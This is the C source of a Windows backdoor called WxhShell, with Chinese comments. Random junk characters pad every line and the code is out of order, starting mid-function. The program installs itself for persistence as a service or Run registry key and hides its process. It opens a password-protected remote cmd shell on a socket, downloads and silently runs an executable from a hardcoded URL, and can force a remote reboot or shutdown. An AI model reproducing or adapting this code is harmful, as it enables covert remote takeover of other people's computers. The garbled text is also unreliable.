    if(Boot(SHUTDOWN)) :bw6k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `GkRmv*  
    else { Q2$/e+   
    closesocket(wsh);  oUS ,+e  
    ExitThread(0); AJWLEc4XK  
    } Isp_U5M  
    break; u-M] A z-  
    } dM gbW<uAu  
  // 获取shell WH;xq^  
  case 's': { h*l4Y!7  
    CmdShell(wsh); g _x\T+=  
    closesocket(wsh); dp< au A  
    ExitThread(0); `7>K1slQ}S  
    break; ws().IZ  
  } L)G">T;  
  // 退出 r &c_4%y  
  case 'x': { [+7"{UvT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fi k@hu  
    CloseIt(wsh); Q^q=!/qQ  
    break; Y(W{Jd+  
    } rUvwpP"k  
  // 离开 2q|_Dma  
  case 'q': { _"v~"k 90^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :28@J?jjO  
    closesocket(wsh); aZC*7AK   
    WSACleanup(); _3zU,qm+  
    exit(1); zCM^r <Kr  
    break; ! fX9*0L  
        } ty9rH=1  
  } j>V"hf  
  } I &cX8Tw  
ev*c4^z:s  
  // 提示信息 3v G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L<"k 7)k  
} PgqECd)f  
  } |/2LWc?  
(S3jZ  
  return; `-5cQ2>"  
} s/\XH&KR3V  
~"RQ!&U  
// shell模块句柄 qY# m*R  
int CmdShell(SOCKET sock) e8 v; D  
{ _=)!xnYf  
STARTUPINFO si; ;,FT&|3o  
ZeroMemory(&si,sizeof(si)); ]P JH'=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h FDze  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dkf}),Z F  
PROCESS_INFORMATION ProcessInfo; @<VG8{  
char cmdline[]="cmd"; - =yTAx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wiKCr/  
  return 0; .M}06,-  
} ]zX\8eHp!  
M'b:B*>6  
// 自身启动模式 ^v#+PyW  
int StartFromService(void) 2}ag_  
{ Lq3(Z%  
typedef struct THb A(SM  
{ z{@= _5;  
  DWORD ExitStatus; A"`L~|&  
  DWORD PebBaseAddress; M3)v-"  
  DWORD AffinityMask; R<_mK33hd  
  DWORD BasePriority; h#vL5At  
  ULONG UniqueProcessId; j}i,G!-u  
  ULONG InheritedFromUniqueProcessId; d|R HG  
}   PROCESS_BASIC_INFORMATION; D1"1MUSod  
, &-S?|  
PROCNTQSIP NtQueryInformationProcess; (=6P]~,  
VvzPQk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mMn2(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I4A ;  
Cl%V^xTb  
  HANDLE             hProcess; p.qrf7N$  
  PROCESS_BASIC_INFORMATION pbi; tbL1g{Dz,  
R %Rv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YNuewD  
  if(NULL == hInst ) return 0; +k# mvPq  
9)1P+c--  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kOo>Iy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ftDVxKDE?S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rs`Vr_?Hk  
9)8*FahW  
  if (!NtQueryInformationProcess) return 0; R:SIs\%o  
[^cs~ n4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ")fOup@ ^a  
  if(!hProcess) return 0; ? +5" %4o  
V6A5(-%`y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4;B= Qoxe  
/5Gnb.zN)  
  CloseHandle(hProcess); 1uK)1%vK  
H57jBD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l6r%nHP@  
if(hProcess==NULL) return 0; d@_'P`%-  
h#$ _<U  
HMODULE hMod; M80}3mgP~  
char procName[255]; _Y}^%eFw  
unsigned long cbNeeded; ?z*W8b]'  
]W89.><%14  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n=lggBRx  
c80"8r  
  CloseHandle(hProcess); D N2hv2  
$`cy'ZaF  
if(strstr(procName,"services")) return 1; // 以服务启动 s|Imz<IE  
{X{01j};8  
  return 0; // 注册表启动 %Z-TbOX  
} Yj|c+&Ng  
z:@d@\$?  
// 主模块 +]aD^N9['  
int StartWxhshell(LPSTR lpCmdLine) w*]_FqE  
{ @]}Qh;a~  
  SOCKET wsl; 3hp tP  
BOOL val=TRUE; P}w^9=;S  
  int port=0; o.v,n1Nm  
  struct sockaddr_in door; Q*TQ*J7".X  
[346w <  
  if(wscfg.ws_autoins) Install(); 3|z;K,`Fw  
_rWTw+ L  
port=atoi(lpCmdLine); 6|>"0[4S  
)o}=z\M-bN  
if(port<=0) port=wscfg.ws_port; >?:i6&4o  
[qc6Q:  
  WSADATA data; v= 8~ZDY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]G$!/vXP  
VH$\ a~|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^@l5u=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RQ_#rYmT  
  door.sin_family = AF_INET; tPMg Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0|f_C3  
  door.sin_port = htons(port); 8. ~Euz  
0^|$cvYiL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }b\ipA,~  
closesocket(wsl); *(_ON$+3  
return 1; x&6i@Jl  
} 7D9h;gsP  
J}93u(T5  
  if(listen(wsl,2) == INVALID_SOCKET) { "1pZzad  
closesocket(wsl); b W`)CWd  
return 1; `s|\" @2  
} _YD<Q@  
  Wxhshell(wsl); v@<lEG#$"|  
  WSACleanup(); /Wta$!X{-  
pB{ f-M:D  
return 0; )GF  
07E".T%Ts  
} _^,[wD  
RvZryA*vu  
// 以NT服务方式启动 'ra_Zg[j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OHXeqjhy  
{ @b(gjOE  
DWORD   status = 0; YC+ZVp"v  
  DWORD   specificError = 0xfffffff; //@sktHsw(  
(kD?},Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L2Qp6A6S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tL 9e~>,`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >O[^\H!\  
  serviceStatus.dwWin32ExitCode     = 0; PhaQ3%  
  serviceStatus.dwServiceSpecificExitCode = 0; u6CM RZ$  
  serviceStatus.dwCheckPoint       = 0; 4<!}4   
  serviceStatus.dwWaitHint       = 0; Zzzi\5&gU  
A&@jA5Jb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I "+|cFq.  
  if (hServiceStatusHandle==0) return; @a{v>)  
~wQ WWRk  
status = GetLastError(); 9dhFQWz"  
  if (status!=NO_ERROR) A'P}mrY  
{ E t[QcB3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6!Ap;O^*  
    serviceStatus.dwCheckPoint       = 0; > &  lg  
    serviceStatus.dwWaitHint       = 0; N"Nd$4  
    serviceStatus.dwWin32ExitCode     = status; EEnTq  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~O3uje_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E`LIENm  
    return; bKbpI>;[  
  } #._6lESK  
c^/?VmCQ}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R^w >aZ oJ  
  serviceStatus.dwCheckPoint       = 0; Ab|NjY:  
  serviceStatus.dwWaitHint       = 0; XdXS^QA .s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X0J]6|du.  
} )#TJw@dNf^  
6P[O8  
// 处理NT服务事件,比如:启动、停止 zAdVJ58H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) < EE+ S#z  
{ Q,+*u%/u  
switch(fdwControl) p[+me o  
{ `x^,k% :4  
case SERVICE_CONTROL_STOP: [T&y5"@  
  serviceStatus.dwWin32ExitCode = 0; J ##X5'a3*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^oZs&+z  
  serviceStatus.dwCheckPoint   = 0; Bwvc@(3v  
  serviceStatus.dwWaitHint     = 0; Ud?d.  
  { i: uA&9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wOl-iN=  
  } SYhspB  
  return; RIpq/^Th  
case SERVICE_CONTROL_PAUSE: ~8 a>D<b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y:Tt$EQ  
  break; &:{yf=  
case SERVICE_CONTROL_CONTINUE: .j@n6RyN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @ dU3d\!}  
  break; 4'e8VI0  
case SERVICE_CONTROL_INTERROGATE: 'F<e)D?  
  break; @g5]w&o_  
}; ju 6_L<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m9i%U   
} cB'4{R@e  
F476"WF  
// 标准应用程序主函数 |?b"my$g$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U.9nHo{  
{ K&oO+G^f  
{ J%$.D(/  
// 获取操作系统版本 f3&//h8  
OsIsNt=GetOsVer(); +f~3FXM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aQuy*\$$  
Ss/="jC  
  // 从命令行安装 mq} #{  
  if(strpbrk(lpCmdLine,"iI")) Install(); <p8y'KAlc  
\0& (q%c  
  // 下载执行文件 ?Qp_4<(5  
if(wscfg.ws_downexe) { l3$?eGGM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r>eXw5Pr7  
  WinExec(wscfg.ws_filenam,SW_HIDE); Bnc  
} aM1JG$+7G  
YZJP7nN  
if(!OsIsNt) { b%$C!Tq'  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vp94mi#L }  
HideProc(); j;vaNg|vQ  
StartWxhshell(lpCmdLine); ?*dx=UI  
} 9e6{(  
else 51usiOq  
  if(StartFromService()) c9k,Dc  
  // 以服务方式启动 6g&nnA  
  StartServiceCtrlDispatcher(DispatchTable); 4x >e7Kf  
else <C xet~x  
  // 普通方式启动 a}{! %5  
  StartWxhshell(lpCmdLine); GDntGTE~sk  
k}gs;|_  
return 0; L0~O6*bk  
} +?'acn  
v#G ^W  
$cCB%}  
q>Y[.c-  
=========================================== ddxv.kIj.  
mY9K)]8  
HN)QS5  
&*-2k-16  
=V4!t|(7  
m#p^'}]!;  
" Wn5]2D\vkT  
^5F/=TtE G  
#include <stdio.h> i>}z$'X  
#include <string.h> )I9(WVx!]  
#include <windows.h> }(6k7{,Gw,  
#include <winsock2.h> .? / J  
#include <winsvc.h> zvj\n9H  
#include <urlmon.h> ~VKXL,.  
$T0[  
#pragma comment (lib, "Ws2_32.lib") sP7(1)\  
#pragma comment (lib, "urlmon.lib") 2e=Hjf )  
qa6up|xUnn  
#define MAX_USER   100 // 最大客户端连接数 -t?G8,,  
#define BUF_SOCK   200 // sock buffer R PQ)0.O7  
#define KEY_BUFF   255 // 输入 buffer m+ YgfR  
]y e &#  
#define REBOOT     0   // 重启 gw^+[}U#  
#define SHUTDOWN   1   // 关机 r G6/h'!|  
Y#,MFEd  
#define DEF_PORT   5000 // 监听端口 /zKuVaC  
4vphLAm  
#define REG_LEN     16   // 注册表键长度 lNw?}H  
#define SVC_LEN     80   // NT服务名长度 d8I/7 ;F X  
v;7u"9t  
// 从dll定义API 3[4]G@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~r3g~MCHS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3-5lO#&#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oxZ(qfjS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QNY{ p k  
4(]k=c1<  
// wxhshell配置信息 &[uGfm+@  
struct WSCFG { YQOGxSi  
  int ws_port;         // 监听端口 VTU-'q  
  char ws_passstr[REG_LEN]; // 口令 Rx.0P6s  
  int ws_autoins;       // 安装标记, 1=yes 0=no {H74`-C)W  
  char ws_regname[REG_LEN]; // 注册表键名 < jF<_j  
  char ws_svcname[REG_LEN]; // 服务名 n >'}tT)U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *0@e_h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HO>uS>+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2#!D"F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rcOmpgew  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d {4br  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l; 4F,iI  
pH%K4bV)8  
}; U\N`[k.F  
6*E 7}  
// default Wxhshell configuration Nf1l{N  
struct WSCFG wscfg={DEF_PORT, ;%}  
    "xuhuanlingzhe", ZyG528O22  
    1, 3c)LBM  
    "Wxhshell", P06K0Fxf  
    "Wxhshell", SFHa(JOS  
            "WxhShell Service", dFlx6H+R!0  
    "Wrsky Windows CmdShell Service", ]Q+Tm2{  
    "Please Input Your Password: ", /T?['#:r-)  
  1, fqi5 84  
  "http://www.wrsky.com/wxhshell.exe", +q1@,LxN  
  "Wxhshell.exe" iH2|w  
    }; *k/_p ^  
%}@^[E)  
// 消息定义模块 j JW0a\0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &wJ"9pQ~6E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p&7>G-.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wXP1tM8T  
char *msg_ws_ext="\n\rExit."; _.j KcDf  
char *msg_ws_end="\n\rQuit."; _\[Zr.y  
char *msg_ws_boot="\n\rReboot..."; ;fuy}q8@7  
char *msg_ws_poff="\n\rShutdown..."; hod|o1C&  
char *msg_ws_down="\n\rSave to "; _M?:N:e  
fQ<V_loP.@  
char *msg_ws_err="\n\rErr!"; qYE-z( i  
char *msg_ws_ok="\n\rOK!"; mesR)fTI  
,E_hG3}}  
char ExeFile[MAX_PATH]; ]5^u^  
int nUser = 0; F](kU#3"S  
HANDLE handles[MAX_USER]; "*UHit;"+{  
int OsIsNt; 1iUy*p65:  
V r y#  
SERVICE_STATUS       serviceStatus; M$w^g8F27H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !=a8^CV  
$ _ gMJ\{  
// 函数声明 wJ{M&n1H  
int Install(void); >4;A (s`  
int Uninstall(void); ydpsPU?wj5  
int DownloadFile(char *sURL, SOCKET wsh); ^uYxeQY[  
int Boot(int flag); ~q<U E\H  
void HideProc(void); TygR G+G-  
int GetOsVer(void); >8ePx,+!  
int Wxhshell(SOCKET wsl); 9khD7v   
void TalkWithClient(void *cs); l?ofr*U&-x  
int CmdShell(SOCKET sock); es.`:^A  
int StartFromService(void); EPyFM_k  
int StartWxhshell(LPSTR lpCmdLine); MVV<&jho{^  
T\OLysc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .*8.{n5   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^Xh9:OBF  
zF{5!b  
// 数据结构和表定义 <#:"vnm$j  
SERVICE_TABLE_ENTRY DispatchTable[] = ^58'*13ZL  
{ GeE|&popO  
{wscfg.ws_svcname, NTServiceMain}, % nJ'r?+h  
{NULL, NULL} m@OgT<E]_  
}; &}rh+z  
-B R&b2  
// 自我安装 MSw/_{  
int Install(void) uRJLSt9m  
{ "Y4 tt0I  
  char svExeFile[MAX_PATH]; RzXxnx)]q  
  HKEY key; P*G&pitT  
  strcpy(svExeFile,ExeFile); < jfi"SJu  
%T!UEl`v  
// 如果是win9x系统,修改注册表设为自启动 oMcX{v^"  
if(!OsIsNt) { 74QWGw`,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zf#V89!]C"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Cm:4)~  
  RegCloseKey(key); #AE'arT<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eo"6 \3z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (1*?2u*j  
  RegCloseKey(key); v@[MX- ,8  
  return 0; Z{ &PKS  
    } J7$5<  
  } Wk`G+VR+  
} e%#9|/uP  
else { |0BmEF  
,0;E_i7  
// 如果是NT以上系统,安装为系统服务 t/pHdxX*C7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rJ K~kKG  
if (schSCManager!=0) {}[S,L  
{ .F &\xa{  
  SC_HANDLE schService = CreateService Rax}r  
  ( Gb\}e}TB[  
  schSCManager, p<tj6O  
  wscfg.ws_svcname, DM"`If%3j  
  wscfg.ws_svcdisp, IKH#[jW'IB  
  SERVICE_ALL_ACCESS, i e%ZX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q#F;GD  
  SERVICE_AUTO_START, =D<46T=(RB  
  SERVICE_ERROR_NORMAL, Ay/ "2pDZ  
  svExeFile, %#Fd0L  
  NULL, Y<I/y  
  NULL, t :sKvJ  
  NULL, "EDn;l-Q  
  NULL, Q];+?Pu.  
  NULL /EA4-#uw  
  ); % =br-c  
  if (schService!=0)  Hi|'  
  { %BC*h}KGH  
  CloseServiceHandle(schService); GjfY   
  CloseServiceHandle(schSCManager); ?&j[Rj0pH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JstX# z  
  strcat(svExeFile,wscfg.ws_svcname); 6uOR0L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hT#[[md"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M8Q-x-7  
  RegCloseKey(key); kb Odg:  
  return 0; z{7&=$  
    } =AUR]&_B  
  } 5JBenTt  
  CloseServiceHandle(schSCManager); 'cu( Sd}  
} pTX{j=n!  
} pg;agtI  
[}N?'foLb  
return 1; #swzZyM$  
} ebcGdC/%>  
X )$3sTj  
// 自我卸载 ;Z%ysLA  
int Uninstall(void) AM#VRRTU  
{ h)~KD%  
  HKEY key; }b\e2ZK  
#db8ur3?  
if(!OsIsNt) { @q}.BcSg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j_H{_Ug  
  RegDeleteValue(key,wscfg.ws_regname); ![18+Q\  
  RegCloseKey(key); s0~a5Ti3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MLG%+@\  
  RegDeleteValue(key,wscfg.ws_regname); &gw. &/t  
  RegCloseKey(key); y4tM0h  
  return 0; Ola>] 0l  
  } BOQ2;@:3  
} tz4MT_f  
} Vr D?[&2pE  
else { n{6XtIoYq  
6@t4pML  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U"v(9m@  
if (schSCManager!=0) No=Ig-It  
{ G^ZL,{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DGz'Dn  
  if (schService!=0) xa[<k >r3  
  { U}x2,`PI  
  if(DeleteService(schService)!=0) { h \hQ  
  CloseServiceHandle(schService); 5?&k? v@  
  CloseServiceHandle(schSCManager); S#8wnHq  
  return 0;  Xai ,  
  } CS)&A4`8  
  CloseServiceHandle(schService); /J aH  
  } J^R))R=  
  CloseServiceHandle(schSCManager); x$Ko|:-  
} $]<CC`  
} Mc#uWmc 7  
$W<H[k&(B  
return 1; gYn1-/Z>I  
} 2asA]sY  
R] tHd=kf  
// 从指定url下载文件 >Vy=5)/i  
int DownloadFile(char *sURL, SOCKET wsh) [ dpd-s  
{ mk2T   
  HRESULT hr; #o SQWC=T  
char seps[]= "/"; TR L4r_  
char *token; : ~"^st_[!  
char *file; bg[k8*.:F  
char myURL[MAX_PATH]; @>,3l;\Zh  
char myFILE[MAX_PATH]; yv =LT~  
_A|1_^[G(  
strcpy(myURL,sURL); s-Q-1lKV,  
  token=strtok(myURL,seps); tSV}BM,  
  while(token!=NULL) }@J&yrqg  
  { Q.7Rv XNw8  
    file=token; Tw/kD)u{  
  token=strtok(NULL,seps); FY)vrM*yh  
  } w|pk1~c(_  
PX65Z|~>_  
GetCurrentDirectory(MAX_PATH,myFILE); dd>|1'-]  
strcat(myFILE, "\\"); 2+M(!FHfy  
strcat(myFILE, file); R/R[r> 1)6  
  send(wsh,myFILE,strlen(myFILE),0); S}gUz9ks  
send(wsh,"...",3,0); mf=,6fx28  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =K I4  
  if(hr==S_OK) RXh0hD  
return 0; kbJ/7  
else "%dWBvuO  
return 1; jhjGDF  
K++pH~o  
} g e)g?IP4  
- l8n0P1+  
// 系统电源模块 O6LZ<}oUR  
int Boot(int flag) H_sLviYLu  
{ ]`0(^)U &  
  HANDLE hToken; W Y_}D!O  
  TOKEN_PRIVILEGES tkp; Vh$~]>t:f  
:BKY#uH~  
  if(OsIsNt) { +8Yt91   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :P #   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -BfZ P5  
    tkp.PrivilegeCount = 1; 3Wxl7"!x m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U~-Z`_@^-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,LKY?=T$z  
if(flag==REBOOT) { Zy,U'Dv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #~*fZ|sq+3  
  return 0; fqZqPcT0  
} pj;cL ]L  
else { ]Cnj=\'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XmXp0b7  
  return 0; wcUf?`21,  
} I&Q.MItW  
  } Pwf2dm$,+  
  else { ^$f} s,09  
if(flag==REBOOT) { fT [JU1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2c@4<kyfP  
  return 0; mwVH>3{j  
} ?&EPZqI  
else { XFeHkU`C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &:`T!n  
  return 0; L$6{{Tw"2  
} :$."x '  
} Ar7vEa81  
L^3~gZ  
return 1; ^]o]'  
} jv<BGr=4;  
O&!>C7  
// win9x进程隐藏模块 S~0 mY} m  
void HideProc(void) Ta`=c0  
{ s <Pk[7`*  
]n1@!qa48  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .9{Sr[P  
  if ( hKernel != NULL ) SjV;& 1Z/  
  { "& 'h\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5VdF^.:u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :\9E%/aAD  
    FreeLibrary(hKernel); sYM3&ikyHI  
  } DcaVT]"  
O`5PX(J1&  
return; XBe!9/'k>  
} W}#eQ|oCV  
}D/0&<1  
// 获取操作系统版本 $Q*h+)g<  
int GetOsVer(void) \L}aTCvG  
{ >Pj ?IE6  
  OSVERSIONINFO winfo; n,}\;Bp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fl<|/DCg  
  GetVersionEx(&winfo); )w_0lm'v{r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) If>k~aL7I  
  return 1; ,0O9!^  
  else 'AU(WHf  
  return 0; Bpt%\LK\~O  
} Pd9qY 8CP  
{jO:9O @  
// 客户端句柄模块 'MH WNPG0  
int Wxhshell(SOCKET wsl) p&~8N#I#  
{ U|VF zpJ  
  SOCKET wsh; XoEiW R  
  struct sockaddr_in client; DjUif "v  
  DWORD myID; {^zieP!  
Z~)Bh~^A  
  while(nUser<MAX_USER) }bIbMEMn  
{ ee}&~%  
  int nSize=sizeof(client); E uxD,(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 89ivyv;]U  
  if(wsh==INVALID_SOCKET) return 1; dlkxA^  
},G6IuH%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]`39E"zY  
if(handles[nUser]==0) _1_CYrUc  
  closesocket(wsh); U;f~Q6iu  
else F,}wQ N  
  nUser++; \nT, NV11  
  } >KXSb@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MebL Y $&8  
F_0vh;Jo  
  return 0; TY}9;QL:  
} ' k[d&sR  
veX#K#  
// 关闭 socket +I1>; {{  
void CloseIt(SOCKET wsh) CUIT)mF:  
{ 6S7 =+>  
closesocket(wsh); TpXbJ]o9  
nUser--; %_Gc9SI  
ExitThread(0); L:UJur%  
} j6<o,0P  
[yj-4v%u`  
// 客户端请求句柄 gI<e=|J6w  
void TalkWithClient(void *cs) [~e{58}J|  
{ Wg X9k J  
kU^*hd ]  
  SOCKET wsh=(SOCKET)cs; W2cgxT  
  char pwd[SVC_LEN]; ?/"Fwjau  
  char cmd[KEY_BUFF]; _Bh-*e2k  
char chr[1];  Za,rht  
int i,j; 8+'9K%'@qX  
<j CD^  
  while (nUser < MAX_USER) { Sh&n DdF"  
K[} 5bjh>  
if(wscfg.ws_passstr) { k~ Z9og  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -pEt=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qQ\&]  
  //ZeroMemory(pwd,KEY_BUFF); T^FeahA7;  
      i=0;  peW4J<,  
  while(i<SVC_LEN) { >a;0<Ui&Q  
;Z:zL^rvn  
  // 设置超时 M.B0)  
  fd_set FdRead; fsd,q?{a:  
  struct timeval TimeOut; e<F>u#d  
  FD_ZERO(&FdRead); O#[+= ^  
  FD_SET(wsh,&FdRead); ?+6w8j%\  
  TimeOut.tv_sec=8; 2e~ud9,  
  TimeOut.tv_usec=0; g Mhn\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mx\b6w7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j;%RV)e  
& !0[T   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %K@s0uQ  
  pwd=chr[0]; VL6_in(  
  if(chr[0]==0xd || chr[0]==0xa) { m]}%Ag^x  
  pwd=0; $:&?!>H  
  break; > wsS75n1  
  } t4HDt\}&k~  
  i++; kFCjko  
    } H{&o_  
f+A!w8E  
  // 如果是非法用户,关闭 socket ?r< F/$/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 42 6l:>D(  
} "XvM1G&s`  
|n9q 4*dN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /m>%=_nz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wXj!bh8\r  
=lyP &u  
while(1) { {~cG'S Y%  
# MpW\yX  
  ZeroMemory(cmd,KEY_BUFF); <|qh5Scp  
i,k.#Vx[m  
      // 自动支持客户端 telnet标准   >$^v@jf  
  j=0; V s/Z8t  
  while(j<KEY_BUFF) { l;u_4`1H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *^h$%<QI  
  cmd[j]=chr[0]; !%v=9muay  
  if(chr[0]==0xa || chr[0]==0xd) { ,ypD0Q   
  cmd[j]=0; Z:TW{:lrI  
  break; zxo0:dyw7  
  } ZH@BHg|}H  
  j++; hU 3z4|~+  
    } kaKV{;UM  
ux8:   
  // 下载文件 4tZnYGvqe  
  if(strstr(cmd,"http://")) { 0zscOE{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?/EyfTex  
  if(DownloadFile(cmd,wsh)) Ds}ctL{6"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~\0uy3%  
  else T*m;G(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O-5s}RT  
  } w-[A"M]I  
  else { NrC (.*?m  
h[Hn*g  
    switch(cmd[0]) { M=HP!hn  
  %cPz>PTW@  
  // 帮助 Hcts^zm2u  
  case '?': { m{~p(sQL  
